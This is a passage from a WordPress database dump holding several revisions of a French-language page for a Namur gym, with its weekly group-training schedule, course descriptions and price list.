href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€&lt;br&gt;30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€&lt;br&gt;30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€&lt;br&gt;1 carte de 10 séances : 90.00€ (valable 6 mois)&lt;br&gt;1 carte de 20 séances : 150.00€ (valable 6 mois)&lt;br&gt;1 carte de 50 séances : 300.00€ (valable 1 an)&lt;br&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€&lt;br&gt;Séance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:47:00', '2014-08-31 08:47:00', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(458, 1, '2014-08-31 08:51:39', '2014-08-31 08:51:39', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FC6ED;\&quot;&gt;Cardio&lt;/span&gt; : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FEA;\&quot;&gt;Psychomotricité&lt;/span&gt; : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX/Cardio&lt;/span&gt; : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€&lt;br&gt;30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€&lt;br&gt;30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€&lt;br&gt;1 carte de 10 séances : 90.00€ (valable 6 mois)&lt;br&gt;1 carte de 20 séances : 150.00€ (valable 6 mois)&lt;br&gt;1 carte de 50 séances : 300.00€ (valable 1 an)&lt;br&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€&lt;br&gt;Séance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:51:39', '2014-08-31 08:51:39', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(462, 1, '2014-12-15 19:40:28', '2014-12-15 19:40:28', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-461\&quot; alt=\&quot;LesMills\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/LesMills.png\&quot; width=\&quot;58\&quot; height=\&quot;17\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMilles&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;20h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #9FEDAC;\&quot;&gt;Circuit Training&lt;/span&gt; : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #EDE99F;\&quot;&gt;TRX&lt;/span&gt; : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #ED9FA2;\&quot;&gt;Force&lt;/span&gt; : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A2A186;\&quot;&gt;Core&lt;/span&gt; : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\r\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\r\n30 min : 35.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\r\n30 min : 20.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\r\n1 carte de 10 séances : 90.00€ (valable 6 mois)\r\n1 carte de 20 séances : 150.00€ (valable 6 mois)\r\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\r\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-12-15 19:40:28', '2014-12-15 19:40:28', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(460, 1, '2014-12-15 19:36:41', '2014-12-15 19:36:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;LesMills&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit 